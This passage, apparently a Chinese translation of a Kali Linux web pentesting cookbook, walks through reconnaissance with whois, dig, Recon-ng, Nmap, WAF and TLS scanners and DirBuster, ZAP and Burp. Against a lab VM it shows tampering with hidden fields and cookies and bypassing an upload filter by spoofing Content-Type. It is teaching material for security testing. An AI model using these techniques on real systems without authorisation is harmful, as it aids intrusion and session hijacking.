  1. 此外,有时了解站点在上次更新之前的样子可能会很有用;也许它曾经包含一些后来被删除的有价值的信息。为了获取我们目标的静态副本,可以使用 Wayback Machine,网址是 archive.org/web/web.php

它是如何工作的…

在这个过程中,我们使用了多个工具来收集关于目标的不同信息。首先,我们运行了 whois,这个 Linux 命令查询域名注册详情,通过它我们可以获取 nameserver 的地址以及所有者的详细信息,如公司、电子邮件地址、电话号码等。whois 还可以查询 IP 地址信息,显示有关拥有该网络段地址的公司的信息。接下来,我们使用 dig 获取关于域名服务器的信息,然后执行区域传输,获取查询服务器解析的完整主机列表;这仅适用于未正确配置的服务器。

通过使用 theharvester,我们获取了与目标域名相关的电子邮件地址、主机名和 IP 地址。在这个过程中使用的选项是 -b all,表示使用所有支持的搜索引擎,以及 -d zonetransfer.me,指定目标域名。

然后我们使用 Netcraft 获取了该站点所使用的技术信息以及更新和变更的简要历史;这使我们能够在不直接查询实际站点的情况下,进一步规划测试过程。

Wayback Machine 是一个存储互联网网站静态副本的服务,记录其更新和版本;在这里,我们可以查看网站旧版本中发布的信息,也许还能获取以前发布但后来被删除的信息。有时,Web 应用程序的更新可能会泄露敏感数据,而这些更新会被回滚或替换为新版本,因此能够查看先前版本的应用程序非常有用。

另见

此外,我们可以使用 Google 的高级搜索选项 (support.google.com/websearch/answer/2466433) 来查找有关我们目标域名的信息,而无需直接访问它。例如,通过使用像 site:site_to_look_into "target_domain" 这样的搜索,我们可以查找我们目标域名在最近发现的漏洞、泄露信息或成功攻击的页面中的存在,以下是一些我们可以查找的好地方:

  • openbugbounty.org: Open Bug Bounty 是一个独立安全研究人员报告和披露漏洞(仅限跨站脚本攻击和跨站请求伪造)的网站,针对的是公共网站。所以,在 Google 中进行这样的搜索将返回所有提到 "zonetransfer.me" 的内容,这些内容来自 openbugbounty.org 网站。

  • pastebin.com: Pastebin 是黑客用来匿名提取和发布在攻击中获取的信息的非常流行的方式之一。

  • zone-h.org: Zone-H 是一个黑客们用来炫耀自己成果的网站,主要是关于网站篡改的内容。

使用 Recon-ng 收集信息

Recon-ng 是一个信息收集工具,它使用许多不同的来源来收集数据,例如 Google、Twitter 和 Shodan。

在本教程中,我们将学习 Recon-ng 的基础知识,并使用它来收集关于目标的公开信息。

准备工作

尽管 Recon-ng 在 Kali Linux 中已经可以直接使用,但其某些模块需要 API 密钥来向在线服务发起查询。此外,拥有 API 密钥还可以让你执行更高级的搜索或避免某些服务的查询限制。

这些密钥可以通过在每个搜索引擎的网站上完成注册来生成。

如何操作...

让我们做一个基本查询,来展示 Recon-ng 是如何工作的:

  1. 要从 Kali Linux 启动 Recon-NG,可以使用应用程序菜单(应用程序 | 01 - 信息收集 | recon-ng),或在终端中输入 recon-ng 命令:

  1. 我们将看到命令行界面。为了查看可用的模块,我们可以执行 show modules 命令。

  2. 假设我们想要搜索某个域名的所有子域名,而 DNS 服务器不响应区域传送。我们可以使用暴力破解的方式获取子域名;为此,我们首先加载 brute_hosts 模块:use recon/domains-hosts/brute_hosts

  3. 要了解在使用任何模块时需要配置的选项,我们可以使用 show options 命令。

  4. 要为某个选项分配值,我们使用命令 setset source zonetransfer.me

  5. 一旦设置好所有选项,我们就发出 run 命令来执行模块:

  1. 这需要一些时间才能完成暴力破解,并且会显示大量信息。一旦完成,我们可以查询 Recon-ng 数据库以获取已发现的主机(show hosts):

它是如何工作的...

Recon-ng 是一个工具和 API 的封装器,能够查询搜索引擎、社交媒体、互联网档案和数据库,以获取关于网站、Web 应用程序、服务器、主机、用户、电子邮件地址等的信息。它通过整合提供不同功能的模块来工作,比如搜索 Google、Twitter、LinkedIn 或 Shodan 等,或者对 DNS 服务器执行查询,就像我们在这个示例中使用的那样。它还具有将文件导入数据库或生成报告(如 HTML、MS Excel 或 CSV 格式)的模块。

另见

另一个非常有用的信息收集和 OSINT 工具,Kali Linux 默认包含的工具是 Maltego (www.paterva.com/web7/buy/maltego-clients/maltego-ce.php),这是许多渗透测试人员的最爱。该工具提供一个图形用户界面,显示所有被分析的元素(如电子邮件地址、人物、域名、公司等)在图形中,元素之间的关系通过图形直观地展示。例如,代表某个人的节点将通过一条线与该人的电子邮件地址连接,而电子邮件地址又与其所属的域名连接。

使用 Nmap 扫描和识别服务

Nmap 可能是世界上使用最广泛的端口扫描器。它可以用来识别在线主机、扫描 TCP 和 UDP 开放端口、检测防火墙、获取远程主机上运行的服务版本,甚至通过脚本查找和利用漏洞。

在这个示例中,我们将使用 Nmap 来识别目标应用程序服务器上运行的所有服务及其版本。为了学习的目的,我们将通过多次调用 Nmap 来实现这一点,但也可以通过单个命令完成。

准备就绪

我们需要做的就是确保我们的易受攻击的 vm_1 正在运行。

如何操作...

本示例中的所有任务都可以通过一行命令完成;它们在这里被分别展示,以更好地说明其功能和结果:

  1. 首先,我们想查看服务器是否响应 ping 请求,或者主机是否在线:
# nmap -sn 192.168.56.11

  1. 现在,我们知道它已启动,让我们看看哪些端口是开放的:
# nmap 192.168.56.11

  1. 现在,我们将告诉 Nmap 向服务器请求它正在运行的服务的版本,并根据这些信息猜测操作系统:
# nmap -sV -O 192.168.56.11

我们可以看到我们的 vm_1 很可能运行的是 Linux 操作系统(Nmap 没能准确确定)。它使用的是 Apache 2.2.14 网络服务器,PHP 5.3p1,Jetty 6.1.25 等等。

它是如何工作的...

Nmap 是一个端口扫描器;这意味着它向指定 IP 地址上的多个 TCP 或 UDP 端口发送数据包,并检查是否有响应。如果有响应,则表示该端口是开放的,因此该端口上正在运行一个服务。

在第一个命令中,使用 -sn 参数,我们指示 Nmap 仅检查服务器是否响应 ICMP 请求(或 ping)。我们的服务器响应了,因此它是活跃的。

第二个命令是调用 Nmap 的最简单方式;它只指定目标 IP 地址。这样做的作用是对服务器进行 ping 测试;如果服务器响应,Nmap 会向 1,000 个 TCP 端口发送探测,查看哪些端口响应以及如何响应,然后报告结果,显示哪些端口是开放的。

第三个命令在第二个命令的基础上增加了以下两个任务:

  • -sV 请求获取每个开放端口的横幅头部或自我识别信息,这些信息被用作版本标识。

  • -O 告诉 Nmap 尝试通过从开放端口和版本收集的信息来猜测目标所运行的操作系统。

还有更多...

使用 Nmap 时的其他有用参数如下:

  • -sT:默认情况下,当以 root 用户身份运行时,Nmap 使用一种称为 SYN 扫描的扫描方式。使用此参数,我们强制扫描器执行完整连接扫描。它较慢,会在服务器的日志中留下记录,但不太可能被入侵检测系统检测到或被防火墙阻止。

  • -Pn:如果我们已经知道主机是活跃的或没有响应 ping,我们可以使用此参数告诉 Nmap 跳过 ping 测试并扫描所有指定的目标,假设它们是在线的。

  • -v:这是详细模式。Nmap 会显示更多关于它正在做的事情和它收到的响应的信息。此参数可以在同一命令中多次使用:使用次数越多,显示的信息越详细(即 -vv-v -v -v -v)。

  • -p N1,N2,...,Nn:如果我们想测试特定端口或一些非标准端口时,可能需要使用此参数,其中 N1Nn 是我们希望 Nmap 扫描的端口号。例如,要扫描端口 218090137,参数将是 -p 21,80-90,137。此外,使用 -p-,Nmap 会扫描从 065535 的所有端口。

  • --script=script_name:Nmap 包含许多用于漏洞检查、扫描或识别、登录测试、命令执行、用户枚举等的有用脚本。使用此参数告诉 Nmap 在目标的开放端口上运行脚本。你可能想查看一些 Nmap 脚本的使用,参考:nmap.org/nsedoc/scripts/

另见

虽然 Nmap 是最流行的端口扫描器,但它并不是唯一可用的工具,而且根据个人偏好,可能也不是最好的选择。Kali Linux 中还包含了一些其他的替代工具,比如:

  • unicornscan

  • hping3

  • masscan

  • amap

  • Metasploit 的扫描模块

识别 Web 应用防火墙

Web 应用防火墙WAF)是一种设备或软件,负责检查数据包

发送到 Web 服务器,以识别并阻止那些可能是恶意的请求,通常基于签名或正则表达式进行判断。

如果未检测到 WAF 阻止我们的请求或封禁我们的 IP 地址,我们可能会在渗透测试中遇到许多问题。在进行渗透测试时,侦察阶段必须包括 WAF、入侵检测系统IDS)或入侵防御系统IPS)的检测和识别。这样才能采取必要的措施,避免被这些保护设备封锁或封禁。

在本教程中,我们将使用不同的方法以及 Kali Linux 中的工具,来检测和识别目标与我们之间是否存在 Web 应用防火墙。

如何操作...

检测应用程序是否受到 WAF 或 IDS 保护的方法有很多种;发起攻击后被阻止和/或列入黑名单是最糟糕的情况,因此我们将使用 Nmap 和 wafw00f 在全力进攻之前,识别我们的目标是否被 WAF 保护:

  1. Nmap 包含一些脚本,用于测试所有检测到的 HTTP 端口中是否存在 WAF。我们可以在我们易受攻击的 vm_1 上尝试一下:
# nmap -sT -sV -p 80,443,8080,8081 --script=http-waf-detect 192.168.56.11

看起来我们没有 WAF 保护这个服务器

  1. 现在,让我们在一个实际受到防火墙保护的服务器上尝试相同的命令。这里,我们将使用 example.com 作为虚构名称;不过,您也可以在任何受保护的服务器上尝试:
# nmap -p 80,443 --script=http-waf-detect www.example.com

  1. Nmap 还有一个脚本,可以帮助我们更精确地识别正在使用的 WAF。这个脚本是 http-waf-fingerprint
# nmap -p 80,443 --script=http-waf-fingerprint www.example.com
  1. Kali Linux 中还有一个工具可以帮助我们检测和识别 WAF,那就是 wafw00f。假设 www.example.com 是一个由 WAF 保护的网站:
# wafw00f www.example.com

它是如何工作的...

WAF 检测通过向服务器发送特定请求并分析响应来工作;例如,在 http-waf-detect 的情况下,它会发送一些基本的恶意数据包,并比较响应,寻找被阻止、拒绝或检测到的迹象。http-waf-fingerprint 也会做同样的事情,但这个脚本还会尝试解析响应,并根据已知的 IDS 和 WAF 模式对其进行分类。wafw00f 也是如此。

识别 HTTPS 加密参数

在某种程度上,我们习惯于认为,当一个连接使用 HTTPS 并且采用 SSL 或 TLS 加密时,它是安全的,任何拦截该连接的攻击者也只会得到一系列无意义的数字。嗯,这可能并不完全正确;HTTPS 服务器需要正确配置,以提供强大的加密层并保护用户免受中间人攻击MITM)或密码分析的威胁。已经发现 SSL 协议在实现和设计中的一些漏洞,它的继任者 TLS 在某些配置下也被发现存在漏洞,因此在任何 Web 应用渗透测试中,测试安全连接是必须的。

在本教程中,我们将使用 Nmap、SSLScan 和 TestSSL 等工具,从客户端的角度分析服务器在安全通信方面的配置。

准备就绪

本教程中我们将使用的工具之一,TestSSL,Kali Linux 默认没有安装,但可以在其软件仓库中找到。我们需要配置我们的 Kali 虚拟机使用 NAT 网络适配器,以便它能够访问互联网,并在终端中执行以下命令:

# apt update
# apt install testssl.sh

安装 TestSSL 后,将网络适配器切换回仅主机模式,以便与易受攻击的虚拟机进行通信。

如何操作...

根据我们在之前教程中的扫描结果,vm_1在端口443上运行 HTTPS 服务;让我们看看它有多安全:

  1. 要查询一个 HTTPS 站点支持的协议和密码套件,我们需要扫描 HTTPS 端口并使用ssl-enum-ciphers脚本:
nmap -sT -p 443 --script ssl-enum-ciphers 192.168.56.11

  1. SSLScan 是一个命令行工具,专门用于评估服务器的 SSL/TLS 配置。使用它时,我们只需要添加服务器的 IP 地址或主机名(sslscan 192.168.56.11):

  1. TestSSL 显示比 Nmap 或 SSLScan 更详细的输入;它的基本使用只需要我们在命令行中将目标附加到命令后即可。它还允许将输出导出为多种格式,如 CSV、JSON 或 HTML(testssl 192.168.56.11):

它是如何工作的...

Nmap、SSLScan 和 TestSSL 通过对目标 HTTPS 服务器进行多次连接,尝试不同的密码套件和客户端配置来测试它接受哪些内容。

在所有三种工具显示的结果中,我们可以看到一些可能影响加密通信的问题:

  • 使用 SSLv3。自 2015 年以来,SSL 协议已被弃用,它具有固有的漏洞,使其容易受到多种攻击,例如 Sweet32(sweet32.info/)和 POODLE(www.openssl.org/~bodo/ssl-poodle.pdf)。

  • 使用 RC4 和 DES 密码套件以及 SHA 和 MD5 哈希。RC4 和 DES 加密算法现在被认为是加密学上脆弱的,SHA 和 MD5 哈希算法也是如此。这是由于现代计算机处理能力的提高,以及这些算法可以在合理的时间内被突破的事实。

  • 使用 TLS 1.0。TLS 是 SSL 的继任者,当前版本是 1.2。虽然 TLS 1.1 仍然被认为是可以接受的,但在服务器中允许 TLS 1.0 被认为是不好的做法或安全隐患。

  • 证书是自签名的,使用了较弱的签名算法(SHA1),并且 RSA 密钥不够强大(1024 位)。

当浏览器通过 HTTPS 连接到服务器时,它们会交换有关浏览器可以使用哪些密码套件以及服务器支持哪些密码套件的信息,然后它们会达成协议,使用两者共同支持的复杂性更高的密码套件。如果对一个配置不当的 HTTPS 服务器进行中间人攻击(MITM),攻击者可以通过声称客户端仅支持最弱的密码套件(比如通过 SSLv2 使用 56 位的 DES)来欺骗服务器,然后攻击者拦截的通信将使用可能在几天或几小时内就能被现代计算机破解的算法进行加密。

另见

这里展示的工具并不是唯一可以从 SSL/TLS 连接中获取密码信息的工具。Kali Linux 中还有一个名为 SSLyze 的工具,作为替代工具,它有时能够提供对我们测试的补充结果:

sslyze --regular www.example.com

SSL/TLS 信息也可以通过 OpenSSL 命令获取:

openssl s_client -connect www2.example.com:443

使用浏览器的开发者工具分析和修改基本行为

Firebug 是一个浏览器插件,允许我们分析网页的内部组件,如表格元素、CSS 类和框架。它还可以显示 DOM 对象、错误代码以及浏览器与服务器之间的请求-响应通信。

在前面的示例中,我们看到如何查看网页的 HTML 源代码,并找到了一个隐藏的输入字段,该字段为文件的最大大小设置了一些默认值。在本示例中,我们将看到如何使用浏览器的调试扩展工具,具体来说是 Firefox 的 Firebug 或 OWASP Mantra。

如何操作...

在运行vm_1的情况下,前往你的 Kali 虚拟机,浏览到http://192.168.56.11/WackoPicko

  1. 右键点击“检查此文件”选项,然后选择“检查元素”:

浏览器的开发者工具也可以通过按 F12,或 Ctrl + Shift + C 来启动。

  1. 表单的第一个输入框中有一个type="hidden"参数;双击hidden以选择它:

  1. hidden替换为text,或删除整个属性type="hidden",然后按 Enter

  2. 现在,双击3000的参数值。

  3. 将该值替换为500000

  1. 现在我们在页面上看到一个新的文本框,值为 500000。我们刚刚更改了文件大小限制,并添加了一个表单字段来修改它。

它是如何工作的...

一旦网页被浏览器接收,所有元素都可以被修改,以改变浏览器对页面的解释。如果页面被重新加载,服务器生成的版本

再次显示。

开发者工具允许我们修改页面在浏览器中显示的几乎每个方面;因此,如果页面上有客户端控制,我们可以通过这个工具进行操作。

还有更多...

浏览器的开发者工具不仅仅是用来隐藏输入或更改值;它还包含其他一些非常有用的工具:

  • 检查器是我们刚刚使用的面板。它以层级方式展示 HTML 源代码,从而使我们可以修改其内容。

  • 控制台面板显示错误、警告以及其他生成的消息

    加载页面时。

  • 在调试器中,我们可以看到完整的 HTML 源代码,设置断点,当页面加载到达断点时会暂停,并检查和修改运行脚本时的变量值。

  • 样式编辑器面板用于查看和修改页面使用的 CSS 样式。

  • 在性能面板中,我们可以计算页面上加载的动态和静态元素所使用的时间和资源。从开发者的角度来看,这对于检测瓶颈和客户端代码中过度使用计算资源非常有用。

  • 内存面板可用于捕捉进程内存的快照;这在我们想要查找存储在内存中的敏感信息时非常有用。

  • 网络面板显示了向服务器发出的请求及其响应,包括请求类型、大小、响应时间以及在时间轴中的顺序。

  • 存储面板显示了浏览器的 cookies 和其他客户端存储选项,并可以删除它们或修改其值。

  • 可以在工具设置中启用的其他选项卡包括:

    • DOM

    • 着色器编辑器

    • Canvas

    • Web 音频

    • Scratchpad

获取和修改 cookies

Cookies 是由网页服务器发送到客户端(浏览器)的小段信息,用于在本地存储与特定用户相关的一些信息。在现代 web 应用中,cookies 用于存储用户特定的数据,如颜色主题配置、对象排列偏好、之前的活动以及(对我们来说更重要的是)会话标识符。

在这个教程中,我们将使用浏览器的工具查看 cookies 的值、它们是如何存储的,以及如何修改它们。

准备工作

我们的 vm_1 需要处于运行状态。192.168.56.11 将作为该机器的 IP 地址,我们将使用 Firefox 作为网页浏览器。

在 Firefox 中,开发者工具中的存储面板可能默认没有启用;要启用它,我们打开开发者工具(浏览器中按 F12),然后进入工具箱选项(右上角的齿轮图标)。在默认开发者工具下,勾选“存储”选项框。

如何操作...

要查看和编辑 cookies 的值,我们可以使用浏览器的开发者工具、cookies 管理器以及我们在第一章中安装的插件,设置 Kali Linux 和测试实验室。我们来尝试这两种方法:

  1. 浏览到 http://192.168.56.11/WackoPicko

  2. 打开开发者工具,进入存储 | Cookies:

我们可以通过双击任何 cookie 的值并输入一个新值来更改它。

  1. 现在,我们还可以使用插件来检查和编辑 cookies。在 Firefox 的顶部工具栏,点击 Cookies 管理器按钮:

在上图中,我们可以看到当时存储的所有 cookies,以及它们所属的网站,使用这个插件我们还可以修改它们的值、删除它们,或者添加新的 cookies。

  1. 192.168.56.11 选择 PHPSESSID,然后点击编辑。

  2. 将 Http Only 的值更改为是:

我们刚刚更改的参数(Http Only)告诉浏览器,这个 cookie 不允许被客户端脚本访问。

它是如何工作的...

Cookies 管理器是一个浏览器插件,允许我们查看、修改或删除现有的 cookies,也可以添加新的 cookies。由于某些应用程序依赖于这些 cookies 中存储的值,攻击者可以利用它们注入恶意模式,可能会改变页面的行为,或者提供虚假的信息以获得更高的权限。

此外,在现代 Web 应用程序中,通常会使用会话 cookie,并且一旦登录完成,它们往往是唯一的用户标识来源。这就导致了通过替换一个已经活跃会话用户的 cookie 值来冒充有效用户的可能性。

还有更多...

在对 Web 应用程序进行渗透测试时,我们应关注 cookies 中的某些特征,以确保它们是安全的:

  • Http Only:如果一个 cookie 设置了此标志,则不能通过脚本代码访问;这意味着 cookie 的值只能从服务器端修改。我们仍然可以使用浏览器工具或插件来更改它们,但不能通过页面中的脚本来修改。

  • 安全性:该 cookie 不会通过未加密的通道传输;如果一个站点使用 HTTPS 并且在 cookie 中设置了此标志,则浏览器在通过 HTTP 发起请求时不会获取或发送该 cookie。

  • 过期时间:如果过期日期设置为未来,这意味着该 cookie 存储在本地文件中,即使浏览器关闭后仍会保留。攻击者可以直接从文件中获取该 cookie,或许能够窃取有效用户的会话。

利用 robots.txt

更进一步进行侦察,我们需要找出网站上是否有任何页面或目录并未链接到普通用户所看到的内容,例如,内联网或内容管理系统CMS)管理页面的登录页。发现类似这样的网站将大大扩展我们的测试面,并为我们提供关于应用程序及其基础设施的重要线索。

在这个步骤中,我们将使用robots.txt文件来发现一些可能未在主应用程序中链接的文件和目录。

如何操作...

为了说明渗透测试人员如何利用robots.txt,我们将使用vm_1中的易受攻击的 Web 应用程序vicnum,它包含三个数字和单词猜谜游戏。我们将利用通过robots.txt获得的信息,增加我们在这些游戏中获胜的机会:

  1. 浏览到http://192.168.56.11/vicnum/

  2. 现在,我们将robots.txt添加到网址中,我们将看到以下内容:

这个文件告诉搜索引擎,jottocgi-bin目录的索引对所有浏览器(用户代理)都是不允许的。然而,这并不意味着我们不能浏览它们。

  1. 让我们浏览到http://192.168.56.11/vicnum/cgi-bin/

我们可以点击并直接导航到此目录中的任何 Perl 脚本(.pl 文件)。

  1. 让我们浏览到http://192.168.56.11/vicnum/jotto/

  2. 点击名为jotto的文件。你将看到类似于下面的内容:

    以下是截图:

jotto是一个猜测五个字母单词的游戏;这可能是一个可能答案的列表吗?使用列表中的单词作为答案玩这个游戏。我们已经破解了这个游戏:

如何工作...

robots.txt是一个由 Web 服务器使用的文件,用于告诉搜索引擎哪些目录或文件应该被索引,哪些是不允许被查看的。从攻击者的角度来看,这告诉我们服务器中是否有一个目录是可以访问的,但对公众隐藏的,这种方法被称为安全通过模糊(即假设用户如果没有被告知某件事的存在,就不会发现它)。

第三章:使用代理、爬虫和蜘蛛

本章将涵盖以下内容:

  • 使用 Dirb 查找文件和文件夹

  • 使用 ZAP 查找文件和文件夹

  • 使用 Burp Suite 查看和修改请求

  • 使用 Burp Suite 的入侵者查找文件和文件夹

  • 使用 ZAP 代理查看和修改请求

  • 使用 ZAP 蜘蛛

  • 使用 Burp Suite 对网站进行爬虫扫描

  • 使用 Burp Suite 的重放器重复请求

  • 使用 WebScarab

  • 从爬取结果中识别相关的文件和目录

介绍

渗透测试可以采用不同的方式进行,分别为黑盒、灰盒和白盒。黑盒是指测试团队除了服务器的 URL 外,对应用程序没有任何先验信息;白盒是指团队拥有目标的所有信息,包括其基础设施、软件版本、测试用户、开发信息等;灰盒则介于两者之间。

对于黑盒和灰盒方法,正如我们在前一章中所见,侦察阶段是必要的,测试团队需要通过这个阶段来发现应用程序所有者在白盒方法中可能提供的信息。

在 Web 渗透测试的侦察阶段,我们需要浏览网页中的每个链接,并记录每个显示的文件。我们可以使用工具来自动化并加速这一任务,这些工具称为网络爬虫或 Web 蜘蛛。这些工具会浏览网页,跟随所有链接和外部文件的引用,有时会填写表单并将其提交到服务器,保存所有请求和响应,给我们提供离线分析的机会。

在本章中,我们将介绍 Kali Linux 中一些代理、蜘蛛和爬虫的使用,并了解在常见网页中可能需要寻找的文件和目录。

使用 DirBuster 查找文件和文件夹

DirBuster 是一个工具,通过暴力破解或与字典文件比较来发现 Web 服务器中存在的文件和目录。在本教程中,我们将使用它来查找特定的文件和目录列表。

准备工作

我们将使用一个包含我们将要求 DirBuster 查找的单词列表的文本文件。创建一个名为 dir_dictionary.txt 的文本文件,其中包含以下内容:

info 
server-status 
server-info 
cgi-bin 
robots.txt 
phpmyadmin 
admin 
login 

如何操作…

DirBuster 是一个用 Java 编写的应用程序;可以通过 Kali 的主菜单或使用 dirbuster 命令从终端调用它。以下是进行此类调用所需的步骤:

  1. 导航至应用程序 | 03 - Web 应用分析 | 网络爬虫与目录暴力破解 | Dirbuster。

  2. 在 DirBuster 窗口中,将目标 URL 设置为 http://192.168.56.11/

  3. 将线程数设置为 20,以确保有一个不错的测试速度。

  4. 选择基于列表的暴力破解,并点击浏览。

  5. 在浏览窗口中,选择我们刚刚创建的文件(dir_dictionary.txt)。

  6. 取消勾选“递归”选项。

  7. 对于本教程,我们将其他选项保持默认设置:

  1. 点击启动。

  2. 如果我们进入结果标签,我们会看到 DirBuster 至少找到了我们字典中的两个文件:cgi-binphpmyadmin。响应代码 200 意味着文件或目录存在并且可以读取。phpmyadmin 是一个基于 Web 的 MySQL 数据库管理工具;找到这个名称的目录告诉我们服务器中可能存在一个数据库管理系统DBMS),并且可能包含有关应用程序及其用户的相关信息:

工作原理...

DirBuster 是爬虫和暴力破解工具的结合体;它会跟踪页面中的所有链接,同时也会尝试不同的文件名。这些文件名可能与我们使用的文件相似,或者可能是 DirBuster 通过纯暴力破解选项自动生成的,设置字符集以及生成单词的最小和最大长度。

为了确定文件是否存在,DirBuster 使用来自服务器的响应代码。最常见的响应如下所示:

  • 200 OK:文件存在,用户可以读取

  • 404 File not found:文件在服务器中不存在

  • 301 Moved permanently:这是一个重定向到指定 URL 的响应

  • 401 Unauthorized:访问该文件需要认证

  • 403 Forbidden:请求有效,但服务器拒绝响应

另见

dirb 是 Kali Linux 中的一个命令行工具,它同样使用字典文件强制浏览服务器,以识别现有的文件和目录。要查看其语法和选项,可以打开终端并输入 # dirb 命令。

使用 ZAP 查找文件和文件夹

OWASP Zed Attack ProxyZAP)是一个功能非常强大的网络安全测试工具。它包括代理、被动和主动漏洞扫描器、模糊测试器、爬虫、HTTP 请求发送器以及一些其他有趣的功能。在本食谱中,我们将使用最近添加的强制浏览功能,它是 ZAP 内部实现的 DirBuster。

准备工作

为了使本食谱生效,我们需要将 ZAP 作为我们的网络浏览器的代理:

  1. 从 Kali Linux 菜单启动 OWASP ZAP,然后从应用程序菜单中依次导航到应用程序 | 03 - Web 应用分析 | owasp-zap。

  2. 接下来,我们将更改 ZAP 的代理设置。默认情况下,它使用 8080 端口,但如果我们同时运行其他代理(如 Burp Suite),这可能会产生冲突。在 ZAP 中,依次进入工具 | 选项 | 本地代理,并将端口更改为 8088

  1. 现在,在 Firefox 中,进入主菜单,依次导航到首选项 | 高级 | 网络;在连接设置中,点击设置。

  2. 选择手动代理配置,并设置 127.0.0.1 为 HTTP 代理,8088 为端口。勾选“对所有协议使用相同的代理”选项,然后点击 OK:

  1. 我们还可以使用 FoxyProxy 插件来设置多个代理配置,并通过点击切换它们:

如何操作…

现在我们已经配置好了浏览器和代理,准备好按照以下步骤扫描服务器以查找现有文件夹:

  1. 配置好代理后,浏览到 http://192.168.56.11/WackoPicko

  2. 我们将看到 ZAP 对此操作的反应,通过显示主机的树形结构

    我们刚刚访问的。

  3. 现在,在 ZAP 的左上角面板(Sites 标签)中,右键点击 http://192.168.56.11 网站中的 WackoPicko 文件夹。然后,在右键菜单中,导航到攻击 | 强制浏览目录(及其子目录);这将执行递归扫描:

  1. 在底部面板中,我们可以看到显示了 Forced Browse 标签。在这里我们可以看到扫描的进度及其结果:

工作原理…

代理是一个充当客户端与服务器或提供不同服务的服务器群之间中介的应用程序。客户端向代理请求服务,代理具有将请求转发给适当的服务器并从服务器获取响应的能力。

当我们配置浏览器使用 ZAP 作为代理时,它并不会直接将请求发送到托管我们要查看的页面的服务器,而是发送到我们定义的地址。在这个案例中,就是 ZAP 正在监听的地址。然后,ZAP 将请求转发给服务器,但不会在没有记录和分析我们发送的信息的情况下直接转发。

ZAP 的 Forced Browse 与 DirBuster 的工作原理相同;它会使用我们配置的字典,向服务器发送请求,就像是在尝试访问列表中的文件一样。如果文件存在,服务器会作出响应;如果文件不存在或当前用户无法访问,服务器会返回错误。

另请参见

另一个非常有用的代理工具是 Kali Linux 中包含的 Burp Suite。它也有一些非常有趣的功能;其中一个可以作为我们刚刚使用的 Forced Browse 的替代工具,就是 Burp 的 Intruder。尽管它并不是专门为此目的设计的,但它是一个多功能的工具,值得一试。

使用 Burp Suite 查看和修改请求

Burp Suite 不仅仅是一个简单的 Web 代理工具,它是一个功能全面的 Web 应用测试工具包。它包含代理、请求重放器、模糊测试工具、请求自动化、字符串编码和解码器、漏洞扫描器(在专业版中提供)、插件以扩展功能,以及其他有用的功能。

在本教程中,我们将使用 Burp Suite 的代理功能,拦截浏览器与服务器之间的请求并修改其内容。

准备工作

从应用菜单启动 Burp Suite,路径为应用 | 03 - Web 应用分析 | Burpsuite,或者通过终端输入命令启动,并将浏览器配置为通过 8080 端口使用它作为代理。

如何操作…

为了让事情更有趣一点,让我们使用这个拦截/修改技巧绕过一个基本的保护机制。请执行以下步骤:

  1. 浏览到 OWASP Bricks 并进入练习 Upload 2(http://192.168.56.11/owaspbricks/upload-2)。

  2. Burp Suite 默认启用了请求拦截;如果页面无法加载,请转到 Burp Suite 然后选择 Proxy | Intercept 并点击按下的按钮,拦截已开启:

  1. 这里我们有一个文件上传表单,应该只允许上传图像。让我们尝试上传一个。点击浏览并选择任何图像文件(PNG、JPG 或 BMP):

  1. 点击打开后,点击上传并验证文件是否上传成功:

  1. 现在让我们尝试看看如果我们上传另一种类型的文件,会发生什么,比如说,HTML 文件:

  1. 看起来,如练习描述所说,服务器正在验证上传的文件类型。为了绕过这个限制,我们首先在 Burp Suite 中启用请求拦截。

  2. 浏览到 HTML 文件并再次尝试上传它。

  3. Burp 会捕获请求:

在这里,我们可以看到一个 POST 请求,它是 multipart(第一个 Content-Type 头部),每个部分的分隔符是一长串的破折号 (-) 和一个长数字。接下来,在第一部分,我们可以看到我们要上传的文件以及它的信息和它自己的 Content-Type

  1. 我们知道服务器只接受图像文件,所以让我们更改头部,将其改为表示我们上传的文件是图像的类型:

  1. 接下来,我们通过点击“转发”提交请求,如果我们希望继续拦截请求,或者如果不希望拦截,则禁用拦截。

  2. 上传成功了。如果我们将鼠标指针移动到这里的单词上,我们会看到它是指向我们文件的链接:

它是如何工作的...

在这个案例中,我们使用 Burp Suite 作为代理捕获一个请求,捕获该请求时它已经通过了应用程序在客户端(即浏览器)建立的验证机制,然后修改了该请求的内容,通过更改 Content-Type 头部来绕过应用程序中的文件类型限制。

Content-Type 是由客户端设置的标准 HTTP 头部,特别是在 POSTPUT 请求中,用于向服务器指示它接收的数据类型。在允许用户上传文件的应用程序中,Web 应用程序通常使用此字段和文件扩展名来筛选出危险或未经授权的类型。正如我们刚才看到的,仅凭这个保护措施不足以防止用户上传恶意内容到服务器。

能够拦截和修改请求是任何 web 应用渗透测试中非常重要的一个方面,不仅可以绕过一些客户端验证—正如我们在这个示例中所做的那样—还可以研究发送了哪些信息,并尝试理解应用的内部工作原理。我们还可能需要根据对这些内容的理解,为了方便起见,添加、删除或替换一些值。

另见

渗透测试人员必须理解 HTTP 协议的工作原理。要更好地理解不同的 HTTP 方法,请参考:

使用 Burp Suite 的 Intruder 查找文件和文件夹

Burp Intruder 是一个工具,可以让我们自动重放请求,按照我们设置或根据可配置规则生成的输入列表来修改请求的部分内容。

尽管这不是它的主要用途,但我们可以使用 Intruder 来查找现有但未被引用的文件和文件夹,就像我们之前使用的工具 DirBuster 和 ZAP 的 Forced Browse 一样。

在这个示例中,我们将进行首次使用 Burp Suite Intruder 的练习,并利用它通过 Kali Linux 中包含的名称列表强制浏览我们易受攻击的虚拟机中的目录。

如何进行操作...

假设我们已经将 Burp Suite 设置为浏览器的代理,并且访问了 WackoPicko(http://192.168.56.11/WackoPicko)。请参考以下步骤:

  1. 在 Target 或 Proxy 选项卡中,找到发送到 WackoPicko 根 URL 的请求,右键单击该请求并选择 Send to Intruder:

  1. 然后切换到 Intruder 选项卡,再切换到 Positions 选项卡;你将看到请求中的一些字段被高亮显示,并被 § 符号包围。这些是 Intruder 在每个请求中将要修改的输入。点击 Clear 按钮以删除它们。

  2. 在 URL 中最后一个 / 后,我们添加任何字符,例如 a,然后选择它并点击 Add。这样,这个字符就成为输入列表的插入点:

  1. 现在切换到 Payloads 选项卡。我们只有一个插入点,因此我们将只有一个 Payload 集需要配置。Payload 类型保持为简单列表,并且我们从文件中加载 payloads。

  2. 现在点击 Load 按钮,这样我们可以从文件中加载 payload 列表,选择文件 /usr/share/wordlists/dirb/small.txt

  1. 要开始向服务器发送请求,点击 Start attack。如果你正在使用 Burp Suite 的免费版本,你将收到关于 Intruder 一些限制的警告;接受这些限制,攻击将开始:

